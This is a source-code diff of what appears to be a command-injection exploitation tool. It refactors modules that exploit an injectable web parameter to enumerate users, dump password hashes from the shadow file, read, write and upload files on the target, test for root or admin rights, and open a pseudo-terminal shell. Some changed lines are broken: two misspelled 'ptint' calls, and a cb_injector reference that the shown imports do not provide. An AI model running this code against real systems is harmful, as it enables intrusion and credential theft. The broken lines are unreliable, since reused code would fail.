+ settings.print_warning_msg(warn_msg)) - + ptint(settings.print_warning_msg(warn_msg)) except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() pass - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) + print(settings.SINGLE_WHITESPACE) warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + print(settings.print_warning_msg(warn_msg)) pass + """ System passwords enumeration """ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": - # Not yet implemented! + check_option = "--passwords" + checks.unavailable_option(check_option) pass else: cmd = settings.SYS_PASSES @@ -492,20 +459,16 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me if sys_passes == "": sys_passes = " " if sys_passes : - info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE info_msg += "' in order to enumerate users password hashes. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - sys_passes = "".join(str(p) for p in sys_passes) + print(settings.print_info_msg(info_msg)) sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split( ) + sys_passes = sys_passes.split() if len(sys_passes) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_passes)) info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg += " in '" + settings.SHADOW_FILE + "'." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -518,7 +481,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) + print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -529,25 +492,24 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me if count == 1 : warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n") + print(settings.print_warning_msg(warn_msg)) print(fields[0]) output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(" " + fields[0]) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.SHADOW_FILE + "' file." - print("\n" + settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) + """ Single os-shell execution """ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - cmd = menu.options.os_cmd - info_msg = "Executing the user-supplied command '" + cmd + "'." + cmd = menu.options.os_cmd + info_msg = "Executing the user-supplied command: '" + cmd + "'." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -561,43 +523,49 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - if shell != "": - if settings.VERBOSITY_LEVEL <= 1: - print(settings.SINGLE_WHITESPACE) - print(settings.command_execution_output(shell)) - print(settings.SINGLE_WHITESPACE) + if shell and shell != "": + _ = "'" + cmd + "' execution output" + print(settings.print_retrieved_data(_, shell)) else: - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) - + err_msg = "The execution of '" + cmd + "' command does not return any output." + print(settings.print_error_msg(err_msg)) """ Check the defined options """ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - - # if not settings.VERBOSITY_LEVEL != 0 and not settings.ENUMERATION_DONE: - # print(settings.SINGLE_WHITESPACE) - # Check if PowerShell is enabled. if not menu.options.ps_version and settings.TARGET_OS == "win": checks.ps_check() if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): + info_msg = "Fetching powershell version." + print(settings.print_info_msg(info_msg)) powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.hostname: + info_msg = "Fetching hostname." + print(settings.print_info_msg(info_msg)) hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.current_user: + info_msg = "Fetching current user." + print(settings.print_info_msg(info_msg)) current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True + if menu.options.is_root or menu.options.is_admin: + info_msg = "Testing if current user has excessive privileges." + print(settings.print_info_msg(info_msg)) + check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + settings.ENUMERATION_DONE = True + if menu.options.sys_info: + info_msg = "Fetching the underlying operating system information." + print(settings.print_info_msg(info_msg)) system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index cd91cc4534..67090acfa1 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -32,7 +32,7 @@ """ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Fetching the content of the file '" + info_msg = "Fetching content of the file: '" info_msg += file_to_read + "'." print(settings.print_info_msg(info_msg)) @@ -53,17 +53,13 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - # if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - # print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "Fetched content of the file '" - info_msg += file_to_read + "'." - print(settings.print_bold_info_msg(info_msg)) - print(settings.print_sub_content(shell)) + _ = "Fetched file content" + print(settings.print_retrieved_data(_, shell)) output_file = open(filename, "a") if not menu.options.no_logging: info_msg = "Extracted content of the file '" - info_msg += file_to_read + "' : " + shell + ".\n" + info_msg += file_to_read + "' : " + shell + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -141,8 +137,6 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - #if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) if shell: info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) @@ -155,7 +149,8 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, """ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": - # Not yet implemented + check_option = "--file-upload" + checks.unavailable_option(check_option) pass else: file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() @@ -199,8 +194,6 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) if shell: info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." print(settings.print_bold_info_msg(info_msg)) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 38e4e91ba0..8303638c86 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -138,11 +138,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ payload = payload.replace(" ", "%20") # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - print(settings.print_payload(payload)) - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) + if settings.VERBOSITY_LEVEL != 0: print(settings.print_payload(payload)) # Cookie header injection @@ -209,10 +205,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() - except KeyboardInterrupt: - raise - - except SystemExit: + except (KeyboardInterrupt, SystemExit): + print(settings.SINGLE_WHITESPACE) raise except EOFError: @@ -283,12 +277,13 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ else: checks.total_of_requests() - # Print the findings to terminal. - info_msg = "The" + finding = "" if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - info_msg += " " + http_request_method - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name - info_msg += found_vuln_parameter + " seems injectable via " + finding += http_request_method + finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter + + # Print the findings to terminal. + info_msg = finding + " appears to be injectable via " info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) @@ -304,8 +299,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ new_line = True if settings.ENUMERATION_DONE == True : while True: - message = "Do you want to ignore stored session and enumerate again? [Y/n] > " - enumerate_again = common.read_input(message, default="Y", check_batch=True) + message = "Do you want to ignore stored session and enumerate again? [y/N] > " + enumerate_again = common.read_input(message, default="N", check_batch=True) if enumerate_again in settings.CHOICE_YES: if not menu.options.ignore_session: menu.options.ignore_session = True @@ -327,8 +322,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: while True: - message = "Do you want to ignore stored session and access files again? [Y/n] > " - file_access_again = common.read_input(message, default="Y", check_batch=True) + message = "Do you want to ignore stored session and access files again? [y/N] > " + file_access_again = common.read_input(message, default="N", check_batch=True) if file_access_again in settings.CHOICE_YES: if not menu.options.ignore_session: menu.options.ignore_session = True @@ -350,23 +345,23 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if menu.options.os_cmd: eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - # Pseudo-Terminal shell - go_back = False - go_back_again = False - while True: - if go_back == True: - break - message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " - if settings.IS_TTY: - gotshell = common.read_input(message, default="Y", check_batch=True) - else: - gotshell = common.read_input(message, default="n", check_batch=True) - if gotshell in settings.CHOICE_YES: - print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - try: + try: + # Pseudo-Terminal shell + go_back = False + go_back_again = False + while True: + if go_back == True: + break + message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + if settings.IS_TTY: + gotshell = common.read_input(message, default="Y", check_batch=True) + else: + gotshell = common.read_input(message, default="n", check_batch=True) + if gotshell in settings.CHOICE_YES: + print(settings.OS_SHELL_TITLE) + if settings.READLINE_ERROR: + checks.no_readline_module() + while True: if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) @@ -395,51 +390,38 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell != "": + if shell or shell != "": shell = "".join(str(p) for p in shell) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) - if settings.VERBOSITY_LEVEL <= 1: - print(settings.SINGLE_WHITESPACE) print(settings.command_execution_output(shell)) - print(settings.SINGLE_WHITESPACE) else: - if settings.VERBOSITY_LEVEL == 1 or (len(cmd) == 0 and settings.VERBOSITY_LEVEL <= 1): - print(settings.SINGLE_WHITESPACE) - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) - - except KeyboardInterrupt: - raise - - except SystemExit: - raise - - except EOFError: - if not settings.IS_TTY: - print(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - raise - - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False + err_msg = "The execution of '" + cmd + "' command does not return any output." + print(settings.print_error_msg(err_msg)) + elif gotshell in settings.CHOICE_NO: + if checks.next_attack_vector(technique, go_back) == True: + break else: - return True - - elif gotshell in settings.CHOICE_QUIT: - raise SystemExit() + if no_result == True: + return False + else: + return True + elif gotshell in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + gotshell + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass + except (KeyboardInterrupt, SystemExit): + raise + except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) + err_msg = "Exiting, due to EOFError." + print(settings.print_error_msg(err_msg)) + raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index fc76104f45..312bb20084 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -15,14 +15,11 @@ import re import sys - from src.utils import logs from src.utils import menu from src.utils import settings from src.utils import session_handler - from src.core.injections.controller import checks - from src.thirdparty.colorama import Fore, Back, Style, init from src.core.injections.semiblind.techniques.file_based import fb_injector @@ -52,17 +49,14 @@ def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitesp try: if float(ps_version): settings.PS_ENABLED = True - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) # Output PowerShell's version number - info_msg = "The PowerShell's version number is " + info_msg = "Powershell version: " info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The PowerShell's version number is " + ps_version + ".\n" + info_msg = info_msg output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() except ValueError: @@ -88,15 +82,12 @@ def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - info_msg = "The hostname is " + str(shell) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() + info_msg = "Hostname: " + str(shell) + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The hostname is " + str(shell) + ".\n" + info_msg = "Hostname: " + str(shell) + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -133,7 +124,7 @@ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitesp distro_name = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) distro_name = "".join(str(p) for p in distro_name) if len(distro_name) != 0: - target_os = target_os + " (" + distro_name + ")" + target_os = target_os + " " + distro_name session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -150,22 +141,17 @@ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitesp session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_arch: - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL - info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() + if target_os and target_arch: + info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The underlying operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" + info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: - warn_msg = "Heuristics have failed to retrieve the system information." + warn_msg = "Heuristics have failed to fetch underlying operating system information." print(settings.print_warning_msg(warn_msg)) """ @@ -185,63 +171,49 @@ def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, h else: cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if cu_account: - # Check if the user have super privileges. - if menu.options.is_root or menu.options.is_admin: - if settings.TARGET_OS == "win": - cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - if shell: - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" and it is not privileged.\n") - output_file.close() - else: - sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" and it is privileged.\n") - output_file.close() - else: - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "The current user is " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + info_msg = "Current user: " + str(cu_account) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + info_msg = "Current user: " + str(cu_account) + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() else: - warn_msg = "Heuristics have failed to identify the current user." + warn_msg = "Heuristics have failed to fetch the current user." print(settings.print_warning_msg(warn_msg)) - + + +""" +Check if the current user has excessive privileges. +""" +def check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): + if settings.TARGET_OS == "win": + cmd = settings.IS_ADMIN + else: + cmd = settings.IS_ROOT + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + # Evaluate injection results. + shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + _ = "True" + if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ + (settings.TARGET_OS != "win" and shell != "0"): + _ = "False" + + info_msg = "Current user has excessive privileges: " + str(_) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + """ System users enumeration """ @@ -265,8 +237,6 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) # Windows users enumeration. if settings.TARGET_OS == "win": - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) info_msg = "Executing the 'net users' command " info_msg += "in order to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) @@ -281,9 +251,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h sys_users_list = sys_users_list.split() info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg += " via 'net users' command." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -296,10 +265,9 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" if alter_shell: cmd = cmd.replace("'","\\'") - else: - cmd = "\"" + cmd + "\"" - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - check_privs = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) + cmd = "cmd /c " + cmd + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + check_privs = cb_injector.injection_results(response, TAG, cmd) check_privs = "".join(str(p) for p in check_privs).strip() check_privs = re.findall(r"(.*)", check_privs) check_privs = "".join(str(p) for p in check_privs).strip() @@ -313,37 +281,29 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h else : is_privileged = "" is_privileged_nh = "" - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) # Unix-like users enumeration. + print(settings.print_warning_msg(warn_msg)) except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() pass - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) + warn_msg = "It seems that you don't have permissions to enumerate users entries." + print(settings.print_warning_msg(warn_msg)) pass + + # Unix-like users enumeration. else: - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE + info_msg = "Fetching content of the file '" + settings.PASSWD_FILE info_msg += "' in order to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + print(settings.print_info_msg(info_msg)) try: if sys_users[0] : sys_users = "".join(str(p) for p in sys_users).strip() @@ -353,11 +313,9 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h sys_users = sys_users.split(" ") # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0 : - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print("\n" + settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") @@ -369,12 +327,10 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user : user + 3]) if len(sys_users_list) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg += " in '" + settings.PASSWD_FILE + "'." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -414,11 +370,11 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h else : is_privileged = "" is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -432,30 +388,26 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h output_file.write(" " + sys_users) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.PASSWD_FILE + "'." - print("\n" + settings.print_warning_msg(warn_msg)) + ptint(settings.print_warning_msg(warn_msg)) except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() pass - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + 